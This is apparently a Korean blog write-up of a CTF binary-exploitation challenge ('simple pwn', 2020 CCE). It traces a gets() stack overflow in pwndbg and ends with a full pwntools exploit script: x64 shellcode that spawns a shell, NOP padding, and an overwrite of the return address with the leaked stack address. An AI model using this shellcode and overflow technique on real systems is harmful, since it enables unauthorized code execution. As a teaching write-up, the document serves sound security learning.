CTF/포너블

[2020CCE] Simple Pwn - 포너블 / 버퍼오버플로우 / Pwndbg / Pwntool / IDA

SecurityMan 2022. 11. 8. 11:00

 

2020년에 진행되었던 국정원 주최 사이버공격방어대회

 

묵혀놨던 Write Up을 이제야 포스팅 해 본다.

 

반응형

 

이번에 풀이할 문제는 simple pwn 이라는 포너블 문제이다.

 

이번 대회에서 가장 쉬웠던 포너블 문제로 스택 버퍼오버플로우 관련된 문제이다.

 

 

문제파일로 simple_pwn 이라는 바이너리가 주어진다.

 

 

한번 해당 파일을 실행시켜봤다.

 

Welcome.

 

This will help you : 라고하면서 이상한 16진수 값을 던져주고

 

사용자의 입력을 기다린다.

 

what 이라고 아무단어나 입력해봤더니 그대로 프로그램이 종료되었다.

 

 

IDA 라는 디스어셈블러를 이용해 바이너리를 열어보았다.

 

main 함수 외에 특별한 함수는 보이지 않는다.

 

main 함수에서는 128바이트 크기의 v4 변수를 선언하는데,

 

gets 변수로 v4 에 사용자 입력값을 집어넣을때 따로 길이 체크를 하지 않는다.

 

따라서 버퍼 오버플로우 공격이 가능해진다.

 

 

이제부턴 pwndbg 를 활용해 살펴본다.

 

gdb simple_pwn 이라고 입력했을때 pwndbg가 설치되어 있다면 자동으로 pwndbg가 실행된다.

 

b main 명령어를 입력해서 main 함수에 브레이크 포인트를 걸어 준다.

 

 

그다음 r(run) 이라고 입력해서 바이너리을 실행시킨다.

 

그럼 진행되다가 main 함수 시작에서 멈출것이다.

 

 

ni 명령어를 계속 입력해서 바이너리를 한칸씩 진행시켜 준다.

 

위 사진처럼 This will help you 문구를 출력하는 printf 함수까지 진행시키면

 

현재 This will help you 와 함께 출력되는 16진수 값이 0x7fffffffdea0 인것을 볼 수 있다.

 

 

x/10wx $rsp 라고 입력해서 스택을 살펴보면

 

0x7fffffffdea0 주소는 스택의 시작 부분인 것을 볼 수 있다.

 

바이너리가 실행되면 스택 주소를 사용자에게 알려줬던 것이다.

 

 

다시 ni를 입력해 gets 함수까지 진행시킨 다음에

 

사용자 입력을 받으면 aaaa 라고 입력해본다.

 

 

다시한번 x/10wx $rsp 로 스택을 살펴보면

 

아까 0x00000000 이던 자리가 0x61616161 이 되어있는걸 볼 수 있는데

 

이건 aaaa 가 들어갔기 때문이다.(a 는 ASCII 값으로 0x61)

 

 

이제 계산을 조금 해야한다.

 

bt 명령어를 입력해 main 함수가 끝나면 어느 주소로 리턴이 되는지 살펴본다.

 

0x00007ffff7dfe7fd 주소로 리턴이 되는것을 볼 수 있다.

 

 

그다음 0x00007ffff7dfe7fd 값이 스택의 어느 주소에 저장되어 있는지 확인한다.

 

search -8 <주소값> 명령어로 찾을 수 있다.

 

0x7fffffffdf28 주소에 저장되어 있는걸 확인할 수 있다.

 

 

이제 마지막으로 스택 시작으로 부터 리턴주소가 있는 0x7fffffffdf28 까지 얼마나 떨어져 있는지 계산해본다.

 

p 명령어로 계산이 가능하다.

 

계산해보면 136 만큼 떨어져 있다는 것을 알 수 있다.

 

그러니까 gets 명령어로 사용자 입력을 받을 때 136 바이트 만큼 채워넣고

 

그 뒤에 8바이트를 새로운 주소값으로 덮어쓰면, 

 

main 함수가 종료됐을때 정상적으로 __libc_start_main 으로 가지않고

 

내가 원하는 대로 흘러가게끔 조작할 수 있는 것이다.

 

from pwn import *

p = process('./simple_pwn')
p.recvuntil(': ')

ret = int(p.recvline().strip()[2:],16)
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'

payload = shellcode + b'\x90' * (136 - len(shellcode)) + p64(ret)

p.sendline(payload)
p.interactive()

 

pwntool 을 이용해 쉽게 풀이코드를 만들 수 있다.

 

recvuntil 로 : 까지 받은 다음,

 

뒤에오는 16진수 주소값을 적절하게 파싱해서 ret 변수에 담아준다.

 

shellcode 같은 경우 구글에 x64 쉘코드 라고 검색하면 

 

저렇게 생긴 16진수 값들이 아주 많이 나온다.

 

그중 아무거나 골라쓰면 된다.

 

마지막으로 payload 를 완성해준다.

 

shellcode 를 맨 앞에 써주고 \x90 을 그 뒤에 채워서 길이를 맞춰준다.

 

shellcode + \x90들 해서 총 136 바이트가 되게끔 해 줬다.

 

\x90은 NOP 을 의미해서 바이너리가 실행될때 그냥 지나쳐 가게 된다.

 

마지막으로 맨 뒤에 리턴 주소가 오는 부분에

 

스택의 시작 주소를 넣어 main 함수가 끝나고 ret 될때 

 

스택의 시작으로 다시 돌아가서 shellcode 가 실행되도록 해주면 된다.

 

 

코드를 실행시키면 이렇게 쉘이 떨어져서

 

ls 명령어가 실행되는것을 볼 수 있다.

 

flag 라는 파일이 보인다.

 

 

cat flag 로 파일의 내용을 읽어주면 된다.

반응형